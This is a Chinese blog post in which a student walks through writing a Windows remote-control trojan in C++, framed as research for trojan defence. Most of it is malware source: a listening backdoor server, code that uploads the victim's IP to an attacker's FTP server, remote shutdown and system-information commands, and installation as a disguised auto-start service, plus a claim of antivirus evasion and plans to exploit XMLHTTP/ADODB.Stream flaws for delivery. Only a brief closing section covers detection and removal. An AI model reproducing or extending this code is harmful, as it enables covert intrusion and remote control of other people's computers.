以前一直觉得像灰鸽子、黑洞之类的木马很神秘,很厉害。自己也想学学,刚好前段时间我一个导师布置了个课题研究木马防范技术。当然要防住木马这种东西总得了解别人的原理吧,无奈之中只好自己写个木马了。
若干日后。。。。。
其实木马这东西还真他#$简单,说穿了就是一个底层的TCP/IP通信而已。所谓木马的好坏,不外乎是指谁的隐藏做的好,谁实现的功能多少而已。不过自己写的木马比那些天天抛头露面的就是有一点特别突出——绝对免杀,我的那个木马在Bitdefender AntiVirus Plus v10 下来来回回都没被干掉。
OK,该说重点了:
1. 木马的核心
木马就显著的特征就是远程控制,要想实现远程,重点就是通信。从编程的角度说就是套接字编程,一开始导师让用MFC来做,可是我对MFC影响一直不好,越写到后面越觉得它垃圾,最后干脆用Win API 写了。Socket 编程最基本的模型就是 Berkeley Socket
具体的实现也就是按这个流程图来做的,这里重点是服务端的实现。
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
ofstream logfile("LogFile.txt");
//Initialize winsock
WSADATA wsaData;
int iResult = WSAStartup( MAKEWORD(2,2), &wsaData);
if(iResult != NO_ERROR)
{
logfile<<"Error at WSAStartup() ";
logfile.close();
return 1;
}
else
logfile<<"Initialize WSAStartup OK!";
// Create a socket.
SOCKET serverSocket;
serverSocket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(serverSocket == INVALID_SOCKET)
{
logfile<<"Error at socket():"<<WSAGetLastError()<<endl;;
logfile.close();
WSACleanup();
return 1;
}
else
{
logfile<<"Create socket OK!";
}
// Bind the socket.
sockaddr_in service;
service.sin_family=AF_INET;
service.sin_addr.s_addr=inet_addr(HostIp.c_str());
service.sin_port=htons(PORT);
if (bind(serverSocket,(SOCKADDR*)&service,sizeof(service))==SOCKET_ERROR)
{
logfile<<"bind() failed"<<GetLastError()<<endl;
closesocket(serverSocket);
logfile.close();
return 1;
}
else
{
logfile<<"Binding OK!"<<endl;
}
// Listen on the socket.
if(listen(serverSocket,1)==SOCKET_ERROR)
{
logfile<<"Error listening on socket"<<GetLastError()<<endl;
logfile.close();
}
else
{
logfile<<"Listening..."<<endl;
}
// Accept connections.
SOCKET clientSocket;
sockaddr_in clientAddr;
int clientAddrLen=sizeof(clientAddr);
while(true)
{
clientSocket = SOCKET_ERROR;
while(clientSocket==SOCKET_ERROR)
{
clientSocket=accept(serverSocket,(struct sockaddr*)&clientAddr,&clientAddrLen);
}
ReceiveData(clientSocket);
}
closesocket(serverSocket);
closesocket(clientSocket);
return 0;
}
//Receive the data
void ReceiveData(SOCKET& clientSocket)
{
int bytesSent;
int bytesRecv=SOCKET_ERROR;
string sendbuf="";
char recvbuf[32]="";
while(bytesRecv ==SOCKET_ERROR)
{
bytesRecv=recv(clientSocket,recvbuf,32,0);
sendbuf="Received: "+(string)recvbuf;
bytesSent=send(clientSocket,sendbuf.c_str(),(unsigned int)(sendbuf.size()),0);
bytesRecv=SOCKET_ERROR;
memset(recvbuf,'/0',32);
在接收客户端发来数据的地方要做成死循环,如果需要断开连接,则由客户断发送特定的消息然后进行处理。还有需要注意的是上面的HostIp是本机的IP地址,PORT是套接字需要绑定的端口。那个logfile 是我为了调试方便设的日志文件,真正用的时候最好去掉。上面的API函数随便找本参考手册都有介绍这里就不多解释了。
2. 更新IP地址
以前自己配置灰鸽子服务端时,每次都要设什么FTP服务器来更新IP,一直都没明白为什么。这会儿才知道,你把木马丢别人电脑里,总得知道别人的IP吧,不然你的客户端都不知道往哪里连。最好的更新IP的方式就是FTP了。Win API 里面也有现成的函数来实现FTP命令。
首先实例化一个HINTERNET句柄,然后指定调用FTP服务就可以了。
{
char hostname[32]="";
gethostname(hostname,32);
hostent* hostinfo;
hostinfo=gethostbyname(hostname);
string hostip=inet_ntoa(*(in_addr*)hostinfo->h_addr_list[0]);
UpdateToFtpServer(hostip);
return ;
}
void UpdateToFtpServer(string hostip)
{
HINTERNET hInternet=InternetOpen(
TEXT("HackServer"),
INTERNET_OPEN_TYPE_DIRECT,
NULL,
NULL,
NULL);
hInternet=InternetConnect(
hInternet,
TEXT("172.18.123.123"), //FTP Server address
INTERNET_DEFAULT_FTP_PORT,
TEXT("anonymous"), //FTP Server login name
NULL, //FTP Server password
INTERNET_SERVICE_FTP,
INTERNET_FLAG_PASSIVE,
NULL);
ofstream hostinfo(filename);
hostinfo<<"The Server IP: "<<hostip<<" "<<"The Port: "<<PORT<<endl;
hostinfo.close();
FtpPutFile(hInternet,TEXT("ServerInfo.txt"),TEXT("ServerInfo.txt"),FTP_TRANSFER_TYPE_ASCII,NULL);
}
先得到本机的IP,然后写入文件里面放到FTP服务器上就行了。端口自己定一个就行了。我的FTP服务器是自己用IIS搭的,就在自己电脑上,测起来方便一点。
3. 执行远程命令
执行远程命令我这里是自己定义好了的,客户端发几个字符,服务端调用相应的函数就行,也可以调用cmd来执行多一点的命令。
{
if(!command.compare("set"))
{
return;
}
if(!command.compare("quit"))
{
exit(0);
}
if(!command.compare("shutdown"))
{
WinExec("shutdown -s -t 3",0);
return ;
}
if(!command.compare("username"))
{
char username[32];
DWORD size=32;
GetUserName(username,&size);
result=username;
return;
}
if(!command.compare("version"))
{
OSVERSIONINFO osvi;
osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&osvi);
char version[64];
sprintf(version,"Majorversion: %ld MinorVersion: %ld BuildNumber: %ld PlatformId: %ld CSDVersion: %s", osvi.dwMajorVersion,osvi.dwMinorVersion,osvi.dwBuildNumber,osvi.dwPlatformId,osvi.szCSDVersion);
result=version;
return;
}
}
这里,我在客户端输入quit ,木马就退出了;输入shutdown,别人电脑就可以自动关机,本来关机也有API函数的,不过好像在XP中关不了,相比用shutdown关机更方便一点;version可以得到别人操作系统的版本。
这个地方可以加入很多代码使你木马的功能变的更多更好用。我只是为了实验,也没用什么破坏性的函数。
4. 木马的隐藏
现在这个样子的木马,再改下注册表让开机自启动就可以用了。不过太明显了,懂点电脑的人都能把它揪出来。现在比较好的技术就是线程插入,就写把木马写成一个服务。这样注册表一大堆run键里面就找不到了,如果服务的名字再隐秘点,一般还真不容易发现。
服务的制作要稍微麻烦一点,首先是安装服务,还好windows的Service Control Manager 把那些函数都包装好了,只用设置一些参数。
安装服务的步骤:
1. 打开SCM,调用的是OpenSCManger。
2. 使用CreateService 来创建服务,这里要设置服务的应用程序路径、服务名、启动方式等。
3. 使用ChangeServiceConfig2 来更改其它的属性。
{
SC_HANDLE schSCManager,schService;
// Open a handle to the SC Manager database.
schSCManager = OpenSCManager(
NULL, // local machine
NULL, // ServicesActive database
SC_MANAGER_ALL_ACCESS); // full access rights
if (NULL == schSCManager)
printf("OpenSCManager failed (%d) ", GetLastError());
TCHAR szPath[]=TEXT("C:/Windows/HackServer.exe"); //Your service excute file
schService = CreateService(
schSCManager, // SCManager database
TEXT("HackService"), // name of service
TEXT("The hack service"), // service name to display
SERVICE_ALL_ACCESS, // desired access
SERVICE_WIN32_OWN_PROCESS, // service type
SERVICE_AUTO_START, // start type
SERVICE_ERROR_NORMAL, // error control type
szPath, // path to service's binary
NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies
NULL, // LocalSystem account
NULL); // no password
if (schService == NULL)
{
printf("CreateService failed (%d) ", GetLastError());
return false;
}
else
{
SERVICE_DESCRIPTION description;
description.lpDescription=TEXT("一个重要的系统服务.");
if(!ChangeServiceConfig2(schService,SERVICE_CONFIG_DESCRIPTION,&description))
cout<<"Change description failed :"<<GetLastError()<<endl;
else
cout<<"CreateService OK!"<<endl;
CloseServiceHandle(schService);
return true;
}
}
把服务设为自动,这样开机你的木马就自动运行了。不过我是把木马写成了一个单独的进程,在任务管理器里面还是可以看见。线程插入还在继续努力中。
服务的主程序其实和一般的win32应用程序也差不了多少,主要是入口点有些变化:调用StartServiceCtrlDispatcher 连接到SCM.
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
SERVICE_TABLE_ENTRY DispatchTable[]=
{
{TEXT("HackService"),(LPSERVICE_MAIN_FUNCTION)ServiceMain},
{NULL,NULL}
};
}
ServiceMain是启动服务的一系列准备:
1. 通过SERVICE_STATUS 设置服务启动前的状态。
2. RegisterServiceCtrlHandler 注册服务。
3. 如果需要其他的一些准备,这里就做初始化。
4. 启动服务。
SERVICE_STATUS_HANDLE HackServiceStatusHandle;
void WINAPI ServiceMain(DWORD argc,LPTSTR *argv)
{
DWORD status;
LPWSTR _serviceName =_T("HackService");
HackServiceStatusHandle = RegisterServiceCtrlHandler(_serviceName,HackServiceCtrlHandler);
HackServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
HackServiceStatus.dwCurrentState = SERVICE_START_PENDING;
HackServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
HackServiceStatus.dwWin32ExitCode = 0;
HackServiceStatus.dwServiceSpecificExitCode = 0;
HackServiceStatus.dwCheckPoint = 0;
HackServiceStatus.dwWaitHint = 0;
//Add some initialization code here
// Initialization complete - report running status.
HackServiceStatus.dwCurrentState = SERVICE_RUNNING;
HackServiceStatus.dwCheckPoint = 0;
HackServiceStatus.dwWaitHint = 0;
SetServiceStatus (HackServiceStatusHandle, &HackServiceStatus);
// This is where the service does its work.
StartServiceThread();
return;
}
还有就是对服务的注册、各种控制以及对状态的设置。
{
DWORD status;
switch(Opcode)
{
case SERVICE_CONTROL_PAUSE:
// Do whatever it takes to pause here.
HackServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
// Do whatever it takes to continue here.
HackServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_STOP:
// Do whatever it takes to stop here.
HackServiceStatus.dwWin32ExitCode = 0;
HackServiceStatus.dwCurrentState = SERVICE_STOPPED;
HackServiceStatus.dwCheckPoint = 0;
HackServiceStatus.dwWaitHint = 0;
SetServiceStatus (HackServiceStatusHandle, &HackServiceStatus);
return;
case SERVICE_CONTROL_INTERROGATE:
// Fall through to send current status.
break;
default:
}
// Send current status.
SetServiceStatus (HackServiceStatusHandle, &HackServiceStatus);
return;
}
最后就是把木马的核心代码加到里面来,那个HackServerThread 就是前面的木马主程序,这样服务启动后就是在执行木马程序。
{
DWORD id;
hServiceThread=CreateThread(0,0,
(LPTHREAD_START_ROUTINE)HackServerThread,
0,0,&id);
if(hServiceThread==0)
{
return false;
}
else
{
nServiceRunning=true;
return true;
}
}
如果要完善这个服务程序,还需要添加结束服务、暂停服务等函数,或者需要多线程的处理等等,这里就不详述了。
5. 怎样找出木马
这种木马其实也不是很难发现,首先任务管理器里面进程摆在那的。用ProcessExplorer 或者PrcMgr 都可以直接找到进程的主程序在什么地方,直接删了就是。
然后在注册表 HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services ,里面找到与那个服务相关的键删掉,或者用下面代码来卸载指定的服务
{
SC_HANDLE schSCManager,schService;
// Open a handle to the SC Manager database.
schSCManager = OpenSCManager(
NULL, // local machine
NULL, // ServicesActive database
SC_MANAGER_ALL_ACCESS); // full access rights
if (NULL == schSCManager)
printf("OpenSCManager failed (%d) ", GetLastError());
schService = OpenService(
schSCManager, // SCManager database
TEXT("HackService"), // name of service
DELETE); // only need DELETE access
if (schService == NULL)
{
printf("OpenService failed (%d) ", GetLastError());
return false;
}
if (! DeleteService(schService) )
{
printf("DeleteService failed (%d) ", GetLastError());
return false;
}
else
printf("DeleteService succeeded ");
CloseServiceHandle(schService);
return true;
}
还有就是,你的防火墙也能帮你阻止木马与远程通信,把防火墙规则调高一点对防范木马也有不小的帮助。
结语:
这是我第一次做的木马,不免粗糙了一点。我是自己搭的FTP服务器然后开的虚拟机测试的,效果倒还不错。因为最近要做的东西比较多,所以线程插入一直也没做。还有更重要的是怎么把木马弄到别人电脑里面去。之前想利用XMLHTTP和ADOSTREAM的漏洞,弄来弄去远程只能执行脚本文件,EXE文件还不行。接下来的时间上面几个问题会慢慢解决的。
最后上面的源代码仅限学术交流,希望大家不要拿来做坏事。